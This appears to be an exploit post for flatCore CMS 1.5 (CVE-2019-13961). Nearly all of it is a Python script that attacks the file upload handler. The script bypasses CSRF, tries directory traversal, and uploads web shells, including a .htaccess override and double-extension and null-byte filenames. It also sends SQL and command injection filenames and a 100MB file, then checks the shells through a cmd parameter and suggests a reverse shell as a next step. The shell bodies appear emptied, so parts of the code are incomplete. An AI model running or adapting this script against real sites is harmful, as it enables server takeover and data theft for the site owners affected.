============================================================================================================================================= | # Title : flatCore 1.5 Advanced File Upload Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://github.com/flatCore/flatCore-CMS/blob/main/acp/core/files.upload-script.php | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/190428/ & CVE-2019-13961 [+] Summary : The upload script contains multiple critical vulnerabilities that can be chained together for complete system compromise. The most urgent issues are the CSRF bypass and unrestricted file upload, which allow unauthenticated attackers to upload PHP shells and execute arbitrary code. [+] POC : python poc.py #!/usr/bin/env python3 import requests import sys import time import random import string import os from concurrent.futures import ThreadPoolExecutor class FileUploadExploit: def __init__(self, target_url, session_cookie): self.target_url = target_url self.session_cookie = session_cookie self.headers = { 'Cookie': f'PHPSESSID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } self.successful_payloads = [] def generate_random_string(self, length=8): """Generate random string for filenames""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def test_csrf_bypass(self): """Test CSRF token bypass by omitting token""" print("\n[+] Testing CSRF Token Bypass...") files = { 'file': ('test.txt', 'CSRF test content', 'text/plain') } data = { 'upload_destination': 'images', 'upload_type': 'images', 'unchanged': 'yes' # No csrf_token parameter } try: response = requests.post( self.target_url, headers=self.headers, files=files, data=data, timeout=15, allow_redirects=False ) if response.status_code == 200: print("[✓] CSRF bypass successful (no token required)") return True else: print(f"[-] CSRF check may be active: {response.status_code}") return False except Exception as e: print(f"[-] Error testing CSRF: {e}") return False def directory_traversal_attack(self): """Test directory traversal in upload_destination parameter""" print("\n[+] Testing Directory Traversal...") traversal_payloads = [ '../../../index.php', '../../../../etc/passwd', '../../../../../../../var/www/html', '..\\..\\..\\windows\\win.ini', '../' * 20 + 'etc/passwd', 'images/../../../../tmp', '/absolute/path/to/target' ] vulnerable = False for payload in traversal_payloads: print(f" Testing: {payload[:50]}...") files = { 'file': ('traversal.txt', f'Traversal test: {payload}', 'text/plain') } data = { 'upload_destination': payload, 'upload_type': 'files', 'unchanged': 'yes', 'file_mode': 'overwrite' } try: response = requests.post( self.target_url, headers=self.headers, files=files, data=data, timeout=10 ) # Check for unusual success if response.status_code == 200 and len(response.content) < 500: print(f"[✓] Possible traversal: {payload}") vulnerable = True except requests.exceptions.Timeout: print(f" [!] Timeout with payload: {payload}") except Exception as e: pass return vulnerable def upload_web_shells(self): """Upload various web shell types with different bypass techniques""" print("\n[+] Uploading Web Shells...") shells = [ # Basic PHP shell { 'name': 'shell.php', 'content': """""", 'mime': 'text/php' }, # Double extension { 'name': 'shell.php.jpg', 'content': """GIF89a """, 'mime': 'image/jpeg' }, # SVG with PHP { 'name': 'malicious.svg', 'content': """ """, 'mime': 'image/svg+xml' }, # .htaccess to allow PHP execution { 'name': '.htaccess', 'content': """AddType application/x-httpd-php .jpg .png .gif SetHandler application/x-httpd-php """, 'mime': 'text/plain' }, # PHP with null bytes (if PHP version < 5.3.4) { 'name': 'shell.php%00.jpg', 'content': '', 'mime': 'image/jpeg' } ] uploaded = [] for shell in shells: print(f" Attempting: {shell['name']}") files = { 'file': (shell['name'], shell['content'], shell['mime']) } # Try different upload parameters upload_params = [ { 'upload_destination': 'images', 'upload_type': 'images', 'unchanged': 'yes', 'file_mode': 'overwrite' }, { 'upload_destination': 'files', 'upload_type': 'files', 'unchanged': 'yes', 'file_mode': 'overwrite' } ] for params in upload_params: try: response = requests.post( self.target_url, headers=self.headers, files=files, data=params, timeout=15 ) if response.status_code == 200: print(f"[✓] Uploaded: {shell['name']}") uploaded.append({ 'filename': shell['name'], 'params': params }) break except Exception as e: print(f" [-] Error: {e}") return uploaded def test_sql_injection(self): """Test SQL injection via filename or other parameters""" print("\n[+] Testing SQL Injection...") sql_payloads = [ # Time-based SQLi "test' AND SLEEP(5)--.jpg", "test' OR BENCHMARK(5000000,MD5('test'))--.jpg", # Error-based SQLi "test' AND ExtractValue(1,CONCAT(0x5c,USER()))--.jpg", # Union-based (if we can see output) "test' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php'--.jpg" ] for payload in sql_payloads: print(f" Testing: {payload}") files = { 'file': (payload, 'SQLi test', 'image/jpeg') } data = { 'upload_destination': 'images', 'upload_type': 'images', 'unchanged': 'yes' } try: start_time = time.time() response = requests.post( self.target_url, headers=self.headers, files=files, data=data, timeout=30 ) elapsed = time.time() - start_time if elapsed > 5: print(f"[✓] Time-based SQLi possible: {elapsed:.2f}s delay") return True if "SQL" in response.text or "syntax" in response.text.lower(): print("[✓] Error-based SQLi detected") return True except requests.exceptions.Timeout: print("[✓] Timeout - SQL injection successful") return True except Exception: pass return False def test_path_manipulation(self): """Test path manipulation in filename cleaning function""" print("\n[+] Testing Path Manipulation...") malicious_filenames = [ "../../../shell.php", "....php", # Becomes .php after cleaning "shell.php.", "shell.php ", "shell.php%0d%0a.jpg", ";ls -la;.jpg", "$(whoami).jpg" ] for filename in malicious_filenames: print(f" Testing filename: {filename}") files = { 'file': (filename, 'test', 'text/plain') } data = { 'upload_destination': 'files', 'upload_type': 'files', 'unchanged': 'yes' } try: response = requests.post( self.target_url, headers=self.headers, files=files, data=data, timeout=10 ) if response.status_code == 200: print(f"[✓] Accepted filename: {filename}") except Exception: pass def test_file_size_limit_bypass(self): """Test file size limit bypass""" print("\n[+] Testing File Size Limit Bypass...") # Create a large file large_content = "A" * (1024 * 1024 * 100) # 100MB files = { 'file': ('large_file.txt', large_content, 'text/plain') } data = { 'upload_destination': 'files', 'upload_type': 'files', 'unchanged': 'yes', 'fz': '999999999' # Set huge file size limit } try: print(" Uploading 100MB file...") response = requests.post( self.target_url, headers=self.headers, files=files, data=data, timeout=60 ) if response.status_code == 200: print("[✓] Large file upload possible") return True except Exception as e: print(f" [-] Error: {e}") return False def brute_force_upload_locations(self): """Brute force potential upload locations""" print("\n[+] Brute Forcing Upload Locations...") common_locations = [ 'images', 'files', 'uploads', 'upload', 'media', 'content', 'img', 'pictures', 'docs', 'assets', 'tmp', 'temp', 'cache' ] found_locations = [] for location in common_locations: files = { 'file': ('test.txt', 'test', 'text/plain') } data = { 'upload_destination': location, 'upload_type': 'files', 'unchanged': 'yes' } try: response = requests.post( self.target_url, headers=self.headers, files=files, data=data, timeout=10 ) if response.status_code == 200: print(f"[✓] Found location: {location}") found_locations.append(location) except Exception: pass return found_locations def verify_shell_access(self, uploaded_shells, base_url): """Verify if uploaded shells are accessible""" print("\n[+] Verifying Shell Access...") accessible = [] # Try common paths test_paths = [ f"{base_url}/content/images/", f"{base_url}/content/files/", f"{base_url}/images/", f"{base_url}/files/", f"{base_url}/uploads/", f"{base_url}/../content/images/" ] for shell in uploaded_shells: for path in test_paths: shell_url = f"{path}{shell['filename']}" try: # Test PHP shell if shell['filename'].endswith('.php'): test_url = f"{shell_url}?cmd=echo+SUCCESS" response = requests.get(test_url, timeout=10) if "SUCCESS" in response.text or "Web Shell Active" in response.text: print(f"[✓] Shell accessible: {shell_url}") accessible.append(shell_url) break # Test file existence else: response = requests.head(shell_url, timeout=10) if response.status_code == 200: print(f"[✓] File accessible: {shell_url}") accessible.append(shell_url) break except Exception: pass return accessible def run_full_exploit(self): """Run all exploitation techniques""" print(f"[*] Starting comprehensive attack on: {self.target_url}") print(f"[*] Using session cookie: {self.session_cookie[:20]}...\n") results = { 'csrf_bypass': False, 'directory_traversal': False, 'sql_injection': False, 'file_size_bypass': False, 'uploaded_shells': [], 'found_locations': [], 'accessible_shells': [] } # Run tests results['csrf_bypass'] = self.test_csrf_bypass() results['directory_traversal'] = self.directory_traversal_attack() results['sql_injection'] = self.test_sql_injection() results['file_size_bypass'] = self.test_file_size_limit_bypass() results['found_locations'] = self.brute_force_upload_locations() self.test_path_manipulation() # Upload shells results['uploaded_shells'] = self.upload_web_shells() # Extract base URL for verification base_url = self.target_url[:self.target_url.rfind('/')] base_url = base_url[:base_url.rfind('/')] # Verify access results['accessible_shells'] = self.verify_shell_access( results['uploaded_shells'], base_url ) # Print summary print("\n" + "="*60) print("[+] EXPLOITATION SUMMARY") print("="*60) for key, value in results.items(): if isinstance(value, list): print(f"{key.replace('_', ' ').title()}: {len(value)} found") if value and key in ['uploaded_shells', 'accessible_shells']: for item in value[:3]: # Show first 3 print(f" - {item}") else: status = "✓" if value else "✗" print(f"{status} {key.replace('_', ' ').title()}") print("\n[+] Recommended next steps:") if results['accessible_shells']: print(" 1. Execute commands via: shell.php?cmd=whoami") print(" 2. Upload more advanced reverse shell") print(" 3. Explore file system: ?cmd=ls+-la") else: print(" 1. Try different upload parameters") print(" 2. Check server logs for errors") print(" 3. Use directory traversal to find upload location") return results def main(): if len(sys.argv) < 3: print("Usage: python exploit.py ") print("Example: python exploit.py http://target.com/admin/upload.php abc123session456") sys.exit(1) target_url = sys.argv[1] session_cookie = sys.argv[2] exploit = FileUploadExploit(target_url, session_cookie) results = exploit.run_full_exploit() # Save results to file with open('exploit_results.txt', 'w') as f: import json f.write(json.dumps(results, indent=2)) print("\n[*] Results saved to exploit_results.txt") if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================